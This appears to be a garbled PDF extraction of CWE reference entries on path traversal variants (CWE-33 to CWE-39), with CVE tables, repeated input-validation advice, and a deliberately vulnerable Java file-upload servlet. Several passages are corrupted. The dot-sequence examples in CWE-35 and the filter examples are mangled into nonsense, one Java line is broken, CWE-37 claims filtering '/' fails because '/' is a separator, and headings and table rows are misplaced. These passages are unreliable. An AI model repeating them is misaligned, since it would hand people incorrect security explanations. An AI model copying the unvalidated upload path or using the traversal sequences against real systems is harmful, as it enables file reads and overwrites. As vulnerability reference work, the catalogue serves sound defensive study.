Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumerical characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.
Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "/.." sequences are removed from the "/.../.../" string in a sequential fashion, two instances of "/.." would be removed from the original string, but the remaining characters would still form the "/.." string.

Implementation
Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Relationships
<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>23</td>
<td>Relative Path Traversal</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>981</td>
<td>SFP Secondary Cluster: Path Traversal</td>
<td>888</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>'...' (triple do)</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP16</td>
<td>Path Traversal</td>
</tr>
</tbody>
</table>

Maintenance Notes
This manipulation-focused entry is currently hiding two distinct weaknesses, so it might need to be split. The manipulation is effective in two different contexts:
it is equivalent to "..\.." on Windows, or
it can take advantage of incomplete filtering, e.g. if the programmer does a single-pass removal of ".\" in a string (collapse of data into unsafe value, CWE-182).
The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '....' (multiple dot) sequences that can resolve to a location that is outside of that directory.

**Extended Description**
This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.
The '....' manipulation is useful for bypassing some path traversal protection schemes. On some Windows systems, it is equivalent to "..\..\.." and might bypass checks that assume only two dots are valid. Incomplete filtering, such as removal of "/" sequences, can ultimately produce valid ".." sequences due to a collapse into unsafe value (CWE-182).

**Time of Introduction**
- Implementation

**Applicable Platforms**
- All

**Languages**
- All

**Common Consequences**
- Confidentiality
- Integrity
- Read files or directories
- Modify files or directories

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-1999-1082</td>
<td>read files via &quot;......&quot; in web server (doubled triple dot?)</td>
</tr>
<tr>
<td>CVE-2000-0240</td>
<td>read files via &quot;/........./&quot; in URL</td>
</tr>
<tr>
<td>CVE-2000-0773</td>
<td>read files via &quot;...&quot; in web server</td>
</tr>
<tr>
<td>CVE-2001-0491</td>
<td>multiple attacks using &quot;.&quot;, &quot;,&quot;, and &quot;,&quot; in different commands</td>
</tr>
<tr>
<td>CVE-2001-0615</td>
<td>&quot;...&quot; or &quot;...&quot; in chat server</td>
</tr>
<tr>
<td>CVE-2004-2121</td>
<td>read files via &quot;,,...,&quot; in web server (doubled triple dot?)</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

...
Implementation
Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.
Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if ".//" sequences are removed from the "...//..." string in a sequential fashion, two instances of ".//" would be removed from the original string, but the remaining characters would still form the ".//" string.

Implementation
Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>23</td>
<td>Relative Path Traversal</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>981</td>
<td>SFP Secondary Cluster: Path Traversal</td>
<td>888</td>
</tr>
<tr>
<td>CanFollow</td>
<td></td>
<td>182</td>
<td>Collapse of Data into Unsafe Value</td>
<td>1000</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>.... (multiple dot)</td>
<td></td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP16</td>
<td>Path Traversal</td>
</tr>
</tbody>
</table>

Maintenance Notes
Like the triple-dot CWE-32, this manipulation probably hides multiple weaknesses that should be made more explicit.

CWE-34: Path Traversal: '....//'

Weakness ID: 34 (Weakness Variant) Status: Incomplete

Description

Summary
The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '....//'(doubled dot dot slash) sequences that can resolve to a location that is outside of that directory.
**Extended Description**
This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.
The `....//` manipulation is useful for bypassing some path traversal protection schemes. If `..` is filtered in a sequential fashion, as done by some regular expression engines, then `....//` can collapse into the `../` unsafe value (CWE-182). It could also be useful when `..` is removed, if the operating system treats `//` and `/` as equivalent.

**Time of Introduction**
- Implementation

**Applicable Platforms**
- Languages
  - All

**Common Consequences**
- Confidentiality
- Integrity
- Read files or directories
- Modify files or directories

**Detection Methods**
- **Automated Static Analysis - Source Code**
- **SOAR Partial**
  According to SOAR, the following detection techniques may be useful:
  - Cost effective for partial coverage:
    - Source code Weakness Analyzer
    - Context-configured Source Code Weakness Analyzer

- **Architecture / Design Review**
- **SOAR High**
  According to SOAR, the following detection techniques may be useful:
  - Highly cost effective:
    - Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
    - Formal Methods / Correct-By-Construction

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2004-1670</td>
<td>Mail server allows remote attackers to create arbitrary directories via a &quot;..&quot; or rename arbitrary files via a &quot;....//&quot; in user supplied parameters.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**
Implementation
Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.
Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if ".../" sequences are removed from the "...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Implementation
Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>23</td>
<td>Relative Path Traversal</td>
<td>699 40</td>
</tr>
<tr>
<td></td>
<td>ChildOf</td>
<td>981</td>
<td>SFP Secondary Cluster: Path Traversal</td>
<td>888 1388</td>
</tr>
<tr>
<td></td>
<td>CanFollow</td>
<td>182</td>
<td>Collapse of Data into Unsafe Value</td>
<td>1000 350</td>
</tr>
</tbody>
</table>

Relationship Notes
This could occur due to a cleansing error that removes a single "/.." from ".../.."

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>'.....//' (doubled dot dot slash)</td>
<td></td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP16</td>
<td>Path Traversal</td>
</tr>
</tbody>
</table>

CWE-35: Path Traversal: './...//'

Weakness ID: 35 (Weakness Variant) Status: Incomplete

Description
Summary
The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize './...//' (doubled triple dot slash) sequences that can resolve to a location that is outside of that directory.

Extended Description
This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.
The ‘.../...///’ manipulation is useful for bypassing some path traversal protection schemes. If ".//" is filtered in a sequential fashion, as done by some regular expression engines, then "../...///" can collapse into the "../u" unsafe value (CWE-182). Removing the first ".//" yields ".//"," the second removal yields ".//.//". Depending on the algorithm, the software could be susceptible to CWE-34 but not CWE-35, or vice versa.

Time of Introduction
• Implementation

Applicable Platforms
• All

Languages

Common Consequences
Confidentiality
Integrity

Read files or directories
Modify files or directories

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2005-0202</td>
<td>&quot;.//&quot; bypasses regexp's that remove &quot;.//&quot; and &quot;.//&quot;</td>
</tr>
<tr>
<td>CVE-2005-2169</td>
<td>chain: &quot;.//&quot; bypasses protection mechanism using regexp's that remove &quot;.//&quot; resulting in collapse into an unsafe value &quot;.//&quot; (CWE-182) and resultant path traversal.</td>
</tr>
</tbody>
</table>

Potential Mitigations

Implementation
Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "," character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\\" as a directory separator.

Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if ".//" sequences are removed from the ".//...///" string in a sequential fashion, two instances of ".//" would be removed from the original string, but the remaining characters would still form the ".//" string.
Implementation
Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>23</td>
<td>Relative Path Traversal</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>40</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>981</td>
<td>SFP Secondary Cluster: Path Traversal</td>
<td>888</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1388</td>
</tr>
<tr>
<td>CanFollow</td>
<td></td>
<td>182</td>
<td>Collapse of Data into Unsafe Value</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>350</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>&quot;./././&quot;</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP16</td>
<td>Path Traversal</td>
</tr>
</tbody>
</table>

CWE-36: Absolute Path Traversal

Weakness ID: 36 (Weakness Base) Status: Draft

Description

Summary
The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize absolute path sequences such as "/abs/path" that can resolve to a location that is outside of that directory.

Extended Description
This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

Time of Introduction
- Architecture and Design
- Implementation

Applicable Platforms

Languages
- All

Common Consequences

Integrity
Confidentiality
Availability

Execute unauthorized code or commands
The attacker may be able to create or overwrite critical files that are used to execute code, such as programs or libraries.

Integrity
Modify files or directories
The attacker may be able to overwrite or create critical files, such as programs, libraries, or important data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, appending a new account at the end of a password file may allow an attacker to bypass authentication.

Confidentiality
Read files or directories
The attacker may be able to read the contents of unexpected files and expose sensitive data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, by reading a password file, the attacker could conduct brute force password guessing attacks in order to break into an account on the system.
Availability
DoS: crash / exit / restart

The attacker may be able to overwrite, delete, or corrupt unexpected critical files such as programs, libraries, or important data. This may prevent the software from working at all and in the case of a protection mechanisms such as authentication, it has the potential to lockout every user of the software.

Demonstrative Examples

Example 1:
In the example below, the path to a dictionary file is read from a system property and used to initialize a File object.

Java Example:

```
String filename = System.getProperty("com.domain.application.dictionaryFile");
File dictionaryFile = new File(filename);
```

However, the path is not validated or modified to prevent it from containing absolute path sequences before creating the File object. This allows anyone who can control the system property to determine what file is used. Ideally, the path should be resolved relative to some kind of application or user home directory.

Example 2:
The following code demonstrates the unrestricted upload of a file with a Java servlet and a path traversal vulnerability. The action attribute of an HTML form is sending the upload file request to the Java servlet.

HTML Example:

```
<form action="FileUploadServlet" method="post" enctype="multipart/form-data">
    Choose a file to upload:
    <input type="file" name="filename"/>
    <br/>
    <input type="submit" name="submit" value="Submit"/>
</form>
```

When submitted the Java servlet's doPost method will receive the request, extract the name of the file from the Http request header, read the file contents from the request and output the file to the local upload directory.

Java Example:

```
public class FileUploadServlet extends HttpServlet {
    ...
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        response.setContentType("text/html");
        PrintWriter out = response.getWriter();
        String contentType = request.getContentType();
        // the starting position of the boundary header
        int ind = contentType.indexOf("boundary=");
        String boundary = contentType.substring(ind+9);
        String uploadLocation = new String(UPLOAD_DIRECTORY_STRING); //Constant value
        // verify that content type is multipart form data
        if (contentType != null && contentType.indexOf("multipart/form-data") != -1) {
            // extract the filename from the Http header
            BufferedReader br = new BufferedReader(new InputStreamReader(request.getInputStream()));
            ...
            pLine = br.readLine();
            String filename = pLine.substring(pLine.lastIndexOf(\"\"), pLine.lastIndexOf("\"");
            ...
            // output the file to the local upload directory
            try {
                BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true));
                for (String line; (line=br.readLine())!=null; ) {
                    if (line.indexOf(boundary) == -1) {
                        bw.newLine();
                    }
                    bw.write(line);
                    bw.newLine();
                }
            }
        }
        ...
    }
}
```
As with the previous example this code does not perform a check on the type of the file being uploaded. This could allow an attacker to upload any executable file or other file with malicious code.

Additionally, the creation of the BufferedWriter object is subject to relative path traversal (CWE-22, CWE-23). Depending on the executing environment, the attacker may be able to specify arbitrary files to write to, leading to a wide variety of consequences, from code execution, XSS (CWE-79), or system crash.

### Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-1999-1263</td>
<td>Mail client allows remote attackers to overwrite arbitrary files via an e-mail message containing a uuencoded attachment that specifies the full pathname for the file to be modified.</td>
</tr>
<tr>
<td>CVE-2000-0614</td>
<td>Arbitrary files may be overwritten via compressed attachments that specify absolute path names for the decompressed output.</td>
</tr>
<tr>
<td>CVE-2001-0038</td>
<td>Remote attackers can read arbitrary files by specifying the drive letter in the requested URL.</td>
</tr>
<tr>
<td>CVE-2001-0255</td>
<td>FTP server allows remote attackers to list arbitrary directories by using the &quot;ls&quot; command and including the drive letter name (e.g. C:) in the requested path name.</td>
</tr>
<tr>
<td>CVE-2001-0687</td>
<td>FTP server allows a remote attacker to retrieve privileged web server system information by specifying arbitrary paths in the UNC format (\computername\sharename).</td>
</tr>
<tr>
<td>CVE-2001-0933</td>
<td>FTP server allows remote attackers to list the contents of arbitrary drives via a ls command that includes the drive letter as an argument.</td>
</tr>
<tr>
<td>CVE-2001-1269</td>
<td>ZIP file extractor allows full path traversal.</td>
</tr>
<tr>
<td>CVE-2002-0466</td>
<td>Server allows remote attackers to browse arbitrary directories via a full pathname in the arguments to certain dynamic pages.</td>
</tr>
<tr>
<td>CVE-2002-1345</td>
<td>Multiple FTP clients write arbitrary files via absolute paths in server responses.</td>
</tr>
<tr>
<td>CVE-2002-1483</td>
<td>Remote attackers can read arbitrary files via an HTTP request whose argument is a filename of the form &quot;C:&quot; (Drive letter), &quot;/absolute/path&quot;, or &quot;.&quot;.</td>
</tr>
<tr>
<td>CVE-2002-1525</td>
<td>Remote attackers can read arbitrary files via an absolute pathname.</td>
</tr>
<tr>
<td>CVE-2002-1818</td>
<td>Path traversal using absolute pathname.</td>
</tr>
<tr>
<td>CVE-2002-1913</td>
<td>Path traversal using absolute pathname.</td>
</tr>
<tr>
<td>CVE-2003-0753</td>
<td>Remote attackers can read arbitrary files via a full pathname to the target file in config parameter.</td>
</tr>
<tr>
<td>CVE-2004-2488</td>
<td>FTP server read/access arbitrary files using &quot;C:&quot; filenames.</td>
</tr>
<tr>
<td>CVE-2005-2147</td>
<td>Path traversal using absolute pathname.</td>
</tr>
</tbody>
</table>

### Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>22</td>
<td>Improper Limitation of a Pathname to a Restricted Directory (&quot;Path Traversal&quot;)</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>981</td>
<td>SFP Secondary Cluster: Path Traversal</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>37</td>
<td>Path Traversal: '/absolute/pathname/here'</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>38</td>
<td>Path Traversal: '/absolute/pathname/here'</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>39</td>
<td>Path Traversal: 'C:dirname'</td>
<td>699</td>
</tr>
</tbody>
</table>
CWE-37: Path Traversal: '/absolute/pathname/here'

**Summary**
A software system that accepts input in the form of a slash absolute path ('/absolute/pathname/here') without appropriate validation can allow an attacker to traverse the file system to unintended locations or access arbitrary files.

**Time of Introduction**
- Implementation

**Applicable Platforms**
- All

**Common Consequences**
- Confidentiality
- Integrity
- Read files or directories
- Modify files or directories

**Observed Examples**
<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2000-0614</td>
<td>Arbitrary files may be overwritten via compressed attachments that specify absolute path names for the decompressed output.</td>
</tr>
<tr>
<td>CVE-2001-1269</td>
<td>ZIP file extractor allows full path</td>
</tr>
<tr>
<td>CVE-2002-1345</td>
<td>Multiple FTP clients write arbitrary files via absolute paths in server responses</td>
</tr>
<tr>
<td>CVE-2002-1818</td>
<td>Path traversal using absolute pathname</td>
</tr>
<tr>
<td>CVE-2002-1913</td>
<td>Path traversal using absolute pathname</td>
</tr>
<tr>
<td>CVE-2005-2147</td>
<td>Path traversal using absolute pathname</td>
</tr>
</tbody>
</table>

**Potential Mitigations**
Implementation

Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "/" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "/.." sequences are removed from the "/.../" string in a sequential fashion, two instances of "/.." would be removed from the original string, but the remaining characters would still form the "/.." string.

Implementation

Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.
A software system that accepts input in the form of a backslash absolute path ('\ absolute \ pathname\here') without appropriate validation can allow an attacker to traverse the file system to unintended locations or access arbitrary files.

**Time of Introduction**
- Implementation

**Applicable Platforms**

**Languages**
- All

**Common Consequences**

- Confidentiality
- Integrity

**Read files or directories**

**Modify files or directories**

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-1999-1263</td>
<td>Mail client allows remote attackers to overwrite arbitrary files via an e-mail message containing a uuencoded attachment that specifies the full pathname for the file to be modified.</td>
</tr>
<tr>
<td>CVE-2002-1525</td>
<td>Remote attackers can read arbitrary files via an absolute pathname.</td>
</tr>
<tr>
<td>CVE-2003-0753</td>
<td>Remote attackers can read arbitrary files via a full pathname to the target file in config parameter.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Implementation**

**Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator.

Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "/" sequences are removed from the "\.../\.../" string in a sequential fashion, two instances of "/" would be removed from the original string, but the remaining characters would still form the "/" string.

**Implementation**

**Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.
CWE Version 2.11
CWE-39: Path Traversal: 'C:dirname'

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>36</td>
<td>Absolute Path Traversal</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>743</td>
<td>CERT C Secure Coding Section 09 - Input Output (FIO)</td>
<td>734</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>877</td>
<td>CERT C++ Secure Coding Section 09 - Input Output (FIO)</td>
<td>868</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>981</td>
<td>SFP Secondary Cluster: Path Traversal</td>
<td>888</td>
</tr>
</tbody>
</table>

**Taxonomy Mappings**

- **Mapped Taxonomy Name**: CERT C Secure Coding
  - **Node ID**: FIO05-C
  - **Mapped Node Name**: Identify files using multiple file attributes

- **Mapped Taxonomy Name**: CERT C++ Secure Coding
  - **Node ID**: FIO05-CPP
  - **Mapped Node Name**: Identify files using multiple file attributes

- **Mapped Taxonomy Name**: Software Fault Patterns
  - **Node ID**: SFP16
  - **Mapped Node Name**: Path Traversal

---

**CWE-39: Path Traversal: 'C:dirname'**

**Weakness ID**: 39 (Weakness Variant)  
**Status**: Draft

**Description**

**Summary**
An attacker can inject a drive letter or Windows volume letter ('C:dirname') into a software system to potentially redirect access to an unintended location or arbitrary file.

**Time of Introduction**
- Implementation

**Applicable Platforms**

**Languages**
- All

**Common Consequences**

**Integrity**

**Confidentiality**

**Availability**

**Execute unauthorized code or commands**
The attacker may be able to create or overwrite critical files that are used to execute code, such as programs or libraries.

**Integrity**

**Modify files or directories**
The attacker may be able to overwrite or create critical files, such as programs, libraries, or important data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, appending a new account at the end of a password file may allow an attacker to bypass authentication.

**Confidentiality**

**Read files or directories**
The attacker may be able to read the contents of unexpected files and expose sensitive data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, by reading a password file, the attacker could conduct brute force password guessing attacks in order to break into an account on the system.

**Availability**

**DoS: crash / exit / restart**
The attacker may be able to overwrite, delete, or corrupt unexpected critical files such as programs, libraries, or important data. This may prevent the software from working at all and in the case of a protection mechanisms such as authentication, it has the potential to lockout every user of the software.

**Observed Examples**
CWE-39: Path Traversal: 'C:dirname'

Reference | Description
--- | ---
CVE-2001-0038 | Remote attackers can read arbitrary files by specifying the drive letter in the requested URL.
CVE-2001-0255 | FTP server allows remote attackers to list arbitrary directories by using the "ls" command and including the drive letter name (e.g. C:) in the requested pathname.
CVE-2001-0687 | FTP server allows a remote attacker to retrieve privileged system information by specifying arbitrary paths.
CVE-2001-0933 | FTP server allows remote attackers to list the contents of arbitrary drives via a ls command that includes the drive letter as an argument.
CVE-2002-0466 | Server allows remote attackers to browse arbitrary directories via a full pathname in the arguments to certain dynamic pages.
CVE-2002-1483 | Remote attackers can read arbitrary files via an HTTP request whose argument is a filename of the form "C:" (Drive letter), "//absolute/path", or ".." .
CVE-2004-2488 | FTP server read/access arbitrary files using "C:" filenames

Potential Mitigations

Implementaton

Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

